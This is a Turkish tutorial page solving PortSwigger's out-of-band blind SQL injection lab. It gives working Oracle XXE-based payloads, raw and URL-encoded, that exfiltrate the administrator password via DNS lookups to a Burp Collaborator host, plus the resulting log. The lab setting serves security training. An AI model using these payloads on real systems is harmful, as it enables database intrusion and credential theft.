> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/out-of-band-sql-injection/blind-sql-injection-with-out-of-band-data-exfiltration-cozumu.md).

# Blind SQL injection with out-of-band data exfiltration Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Blind SQL Injection zafiyeti var, Tracking cookiesinde isteğin. Bu tracking cookie’nin yer aldığı sql sorgusu asenkron olarak çalıştığı için tek seçenek out-of-band. Bizden users tablosundaki administrator’ın şifresini bulup giriş yapmamızı istiyor.

Sayfa aşağıdaki gibi:

<figure><img src="/files/pm4OQXrBxi1hjFO4JsAP" alt=""><figcaption></figcaption></figure>

Sayfayı yenieyip, burp proxy ile isteği yakalayıp repeater’a atıyoruz.

<figure><img src="/files/6fKTTNe7xzFzh3kg1s2M" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET / HTTP/1.1
Host: 0a1d002103feecbd84644649006e0008.web-security-academy.net
Cookie: TrackingId=md9rrOP3dm2ydirA; session=NJuDhH1vEprZZyNoBw5jLETt1GzTP4xY
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://portswigger.net/>
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

Amacımız burada TrackingId yi manipüle ederek sql injection yapmak. Bu sql injection sonucunu da veritabınına dns lookup yaptırarak, kendi dns sunucumuzdan okumak. Mecbur Burp Collobrator kullanıcaz bu lab için(zorunlu yapmışlar) bir dns alan adı alıcaz. Tabi hangi dbms olduğunu da bilmiyoruz ama Out-of-band öğrenirken çözdüğümüzle aynı olduğunu düşünüyorum, Oracle’dı o da.

Oracle'ın dışarıya istek atmasını sağlayan şu payload'unu kullanıcaz: `SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURAYA_Collobrator_adresi/"> %remote;]>'),'/l') FROM dual`

`BURAYA_Collobrator_adresi` dediğim yere adresi almak için, burp suite professional da collobrator sekmesine gelin, filter kısmından DNS seçin ve “Copy the clipboard”’ a basın, “[ird4yyhfohnoni4c…l1.oastify.com](http://ird4yyhfohnoni4cbb68mht03r9jxcl1.oastify.com/)” buna benzer bir adres vericek.

Bunu `BURAYA_Collobrator_adresi` yazan yere yapıştırın. Şimdi bu istek bizim sunucumuza ping atıcak ve sorgunun çalışıp çalışmadığını öğrenicez.

`' || (SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURAYA_Collobrator_adresi[/](<http://s81ef8yp5r4y4slmslni3raak1qtek58u.oastify.com/>)"> %remote;]>'),'/l') FROM dual)--`

bir string birleştirme yaparak göndermemiz lazım Oracle da çalıştırmak için önceki sorguyla birlikte.

Bu haliyle hata alırsınız URL Encode göndermeniz lazım. Hepsini seçin:

<figure><img src="/files/SHVCOp34DBv3Hu61XCmv" alt=""><figcaption></figcaption></figure>

Ctrl+u ya basın:

`'+||+(SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURAYA_Collobrator_adresi/">+%25remote%3b]>'),'/l')+FROM+dual)--`

istek artık hazır gönderebilirsiniz. Gönderince collobrator sayfanıza istekler gelicek:

<figure><img src="/files/vFgu0rl2G7b3Oj1xH0L7" alt=""><figcaption></figcaption></figure>

Güzel her şey çalışıyor. Şimdi payloadumuzu enjekte edip göndermeliyiz.

Amacımız, administrator şifresini çekip bunu Collaborator adresimizin başına bir subdomain olarak eklemek. Böylece veritabanı o adrese DNS sorgusu attığında, şifre bizim ekranımıza düşecek.

Bunun için payload kısmını şu şekilde hazırlayabiliriz:

`http://' || (SELECT password FROM users WHERE username='administrator') || '.BURAYA_Collobrator_adresi/`

isteğin son hali de:

`' || (SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' || (SELECT password FROM users WHERE username='administrator') || '.BURAYA_Collobrator_adresi/"> %remote;]>'),'/l') FROM dual)--`

yine Ctrl+u ile URL Encode yapın.

`'+||+(SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'+||+(SELECT+password+FROM+users+WHERE+username%3d'administrator')+||+'.BURAYA_Collobrator_adresi/">+%25remote%3b]>'),'/l')+FROM+dual)--`

Send diyince Collobrator sekmesine yeni istekler geldiğini göreceksiniz:

<figure><img src="/files/qd94yoW3rC27QUJSTarH" alt=""><figcaption></figcaption></figure>

birine tıklayınca Description kısmında:

```bash

  
    The Collaborator server received a DNS lookup of type A for the domain 
    name usvf6xk4soysxnek5904.[collobrator_adresi].oastify.com.

The 
    lookup was received from IP address 3.251.120.115:21676 at 2026-Feb-27 
    01:08:56.096 UTC.
  

```

usvf6xk4soysxnek5904.\[collobrator\_adresi].oastify.com bu değerde ilk başta gördüğünüz değer attığımız sorgunun sonucu yani adminin şifresidir.

bize administrator ile login yaparak lab’ı tamamlamızı söylemiş, “My account” üzerine tıklayıp gelen login sayfasına elinizdeki bilgilerle giriş yapın ve labı tamamlayın.

<figure><img src="/files/05Cl4tFLVy5IPfOkHced" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/iCEq0EDte5sUO5fVOrTK" alt=""><figcaption></figcaption></figure>
